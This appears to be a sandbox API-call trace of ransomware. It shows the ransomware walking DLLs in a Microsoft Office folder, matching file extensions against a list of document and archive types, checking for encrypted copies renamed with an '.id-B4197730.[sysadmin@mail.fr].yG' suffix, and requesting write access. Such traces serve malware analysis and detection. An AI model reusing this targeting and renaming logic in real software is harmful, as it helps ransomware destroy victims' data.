	[0155.060] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.060] lstrlenW (lpString=".zip") returned 4
	[0155.060] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.060] lstrlenW (lpString=".rar") returned 4
	[0155.060] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.060] lstrlenW (lpString=".bz2") returned 4
	[0155.060] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.060] lstrlenW (lpString=".7z") returned 3
	[0155.061] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.061] lstrlenW (lpString=".dbf") returned 4
	[0155.061] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.061] lstrlenW (lpString=".1cd") returned 4
	[0155.061] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.061] lstrlenW (lpString=".jpg") returned 4
	[0155.061] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.061] lstrlenW (lpString=".doc") returned 4
	[0155.061] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.061] lstrlenW (lpString=".docx") returned 5
	[0155.061] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.061] lstrlenW (lpString=".pdf") returned 4
	[0155.061] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.061] lstrlenW (lpString=".xls") returned 4
	[0155.061] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.061] lstrlenW (lpString=".xlsx") returned 5
	[0155.061] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.061] lstrlenW (lpString=".ppt") returned 4
	[0155.061] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.061] lstrlenW (lpString=".zip") returned 4
	[0155.061] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.062] lstrlenW (lpString=".rar") returned 4
	[0155.062] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.062] lstrlenW (lpString=".bz2") returned 4
	[0155.062] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.062] lstrlenW (lpString=".7z") returned 3
	[0155.062] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.062] lstrlenW (lpString=".dbf") returned 4
	[0155.062] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.062] lstrlenW (lpString=".1cd") returned 4
	[0155.062] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.062] lstrlenW (lpString=".jpg") returned 4
	[0155.062] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.062] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.062] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0155.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0155.063] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=18624) returned 1
	[0155.063] CloseHandle (hObject=0x52c) returned 1
	[0155.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220
	[0155.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.063] lstrlenW (lpString=".doc") returned 4
	[0155.063] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.063] lstrlenW (lpString=".docx") returned 5
	[0155.064] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.064] lstrlenW (lpString=".pdf") returned 4
	[0155.064] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.064] lstrlenW (lpString=".xls") returned 4
	[0155.064] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.064] lstrlenW (lpString=".xlsx") returned 5
	[0155.064] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.064] lstrlenW (lpString=".ppt") returned 4
	[0155.064] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.064] lstrlenW (lpString=".zip") returned 4
	[0155.064] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.064] lstrlenW (lpString=".rar") returned 4
	[0155.064] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.064] lstrlenW (lpString=".bz2") returned 4
	[0155.064] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.064] lstrlenW (lpString=".7z") returned 3
	[0155.064] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.064] lstrlenW (lpString=".dbf") returned 4
	[0155.064] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.064] lstrlenW (lpString=".1cd") returned 4
	[0155.064] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.064] lstrlenW (lpString=".jpg") returned 4
	[0155.064] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.065] lstrlenW (lpString=".doc") returned 4
	[0155.065] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.065] lstrlenW (lpString=".docx") returned 5
	[0155.065] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.065] lstrlenW (lpString=".pdf") returned 4
	[0155.065] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.065] lstrlenW (lpString=".xls") returned 4
	[0155.065] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.065] lstrlenW (lpString=".xlsx") returned 5
	[0155.065] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.065] lstrlenW (lpString=".ppt") returned 4
	[0155.065] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.065] lstrlenW (lpString=".zip") returned 4
	[0155.065] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.065] lstrlenW (lpString=".rar") returned 4
	[0155.065] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.065] lstrlenW (lpString=".bz2") returned 4
	[0155.065] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.065] lstrlenW (lpString=".7z") returned 3
	[0155.065] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.065] lstrlenW (lpString=".dbf") returned 4
	[0155.065] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.065] lstrlenW (lpString=".1cd") returned 4
	[0155.065] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0155.066] lstrlenW (lpString=".jpg") returned 4
	[0155.066] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.066] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.066] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0155.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0155.067] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=21184) returned 1
	[0155.067] CloseHandle (hObject=0x52c) returned 1
	[0155.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220
	[0155.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.068] lstrlenW (lpString=".doc") returned 4
	[0155.068] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.068] lstrlenW (lpString=".docx") returned 5
	[0155.068] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.068] lstrlenW (lpString=".pdf") returned 4
	[0155.068] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.068] lstrlenW (lpString=".xls") returned 4
	[0155.068] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.068] lstrlenW (lpString=".xlsx") returned 5
	[0155.068] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.068] lstrlenW (lpString=".ppt") returned 4
	[0155.068] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.068] lstrlenW (lpString=".zip") returned 4
	[0155.068] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.068] lstrlenW (lpString=".rar") returned 4
	[0155.068] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.068] lstrlenW (lpString=".bz2") returned 4
	[0155.068] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.068] lstrlenW (lpString=".7z") returned 3
	[0155.068] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.068] lstrlenW (lpString=".dbf") returned 4
	[0155.068] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.068] lstrlenW (lpString=".1cd") returned 4
	[0155.069] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.069] lstrlenW (lpString=".jpg") returned 4
	[0155.069] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.069] lstrlenW (lpString=".doc") returned 4
	[0155.069] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.069] lstrlenW (lpString=".docx") returned 5
	[0155.069] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.069] lstrlenW (lpString=".pdf") returned 4
	[0155.069] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.069] lstrlenW (lpString=".xls") returned 4
	[0155.069] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.069] lstrlenW (lpString=".xlsx") returned 5
	[0155.069] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.069] lstrlenW (lpString=".ppt") returned 4
	[0155.069] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.069] lstrlenW (lpString=".zip") returned 4
	[0155.069] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.069] lstrlenW (lpString=".rar") returned 4
	[0155.069] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.069] lstrlenW (lpString=".bz2") returned 4
	[0155.069] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.069] lstrlenW (lpString=".7z") returned 3
	[0155.069] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.070] lstrlenW (lpString=".dbf") returned 4
	[0155.070] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.070] lstrlenW (lpString=".1cd") returned 4
	[0155.070] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0155.070] lstrlenW (lpString=".jpg") returned 4
	[0155.070] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.070] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.070] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0155.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0155.071] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19136) returned 1
	[0155.071] CloseHandle (hObject=0x52c) returned 1
	[0155.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220
	[0155.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.071] lstrlenW (lpString=".doc") returned 4
	[0155.071] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.071] lstrlenW (lpString=".docx") returned 5
	[0155.071] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0155.071] lstrlenW (lpString=".pdf") returned 4
	[0155.072] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.072] lstrlenW (lpString=".xls") returned 4
	[0155.072] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.072] lstrlenW (lpString=".xlsx") returned 5
	[0155.072] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0155.072] lstrlenW (lpString=".ppt") returned 4
	[0155.072] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.072] lstrlenW (lpString=".zip") returned 4
	[0155.072] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.072] lstrlenW (lpString=".rar") returned 4
	[0155.072] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.072] lstrlenW (lpString=".bz2") returned 4
	[0155.072] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.072] lstrlenW (lpString=".7z") returned 3
	[0155.072] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.072] lstrlenW (lpString=".dbf") returned 4
	[0155.072] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.072] lstrlenW (lpString=".1cd") returned 4
	[0155.072] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.072] lstrlenW (lpString=".jpg") returned 4
	[0155.072] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.073] lstrlenW (lpString=".doc") returned 4
	[0155.073] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.073] lstrlenW (lpString=".docx") returned 5
	[0155.073] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0155.073] lstrlenW (lpString=".pdf") returned 4
	[0155.073] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.073] lstrlenW (lpString=".xls") returned 4
	[0155.073] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.073] lstrlenW (lpString=".xlsx") returned 5
	[0155.073] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0155.073] lstrlenW (lpString=".ppt") returned 4
	[0155.073] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.073] lstrlenW (lpString=".zip") returned 4
	[0155.073] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.073] lstrlenW (lpString=".rar") returned 4
	[0155.073] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.073] lstrlenW (lpString=".bz2") returned 4
	[0155.073] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.073] lstrlenW (lpString=".7z") returned 3
	[0155.073] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.073] lstrlenW (lpString=".dbf") returned 4
	[0155.073] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.073] lstrlenW (lpString=".1cd") returned 4
	[0155.074] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0155.074] lstrlenW (lpString=".jpg") returned 4
	[0155.074] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.074] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.074] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0155.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.170] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19136) returned 1
	[0156.171] CloseHandle (hObject=0x350) returned 1
	[0156.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220
	[0156.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.622] lstrlenW (lpString=".doc") returned 4
	[0156.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.622] lstrlenW (lpString=".docx") returned 5
	[0156.622] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.622] lstrlenW (lpString=".pdf") returned 4
	[0156.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.622] lstrlenW (lpString=".xls") returned 4
	[0156.622] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.622] lstrlenW (lpString=".xlsx") returned 5
	[0156.622] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.622] lstrlenW (lpString=".ppt") returned 4
	[0156.622] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.622] lstrlenW (lpString=".zip") returned 4
	[0156.622] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.622] lstrlenW (lpString=".rar") returned 4
	[0156.622] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.622] lstrlenW (lpString=".bz2") returned 4
	[0156.622] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.622] lstrlenW (lpString=".7z") returned 3
	[0156.622] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.622] lstrlenW (lpString=".dbf") returned 4
	[0156.622] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.622] lstrlenW (lpString=".1cd") returned 4
	[0156.622] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.623] lstrlenW (lpString=".jpg") returned 4
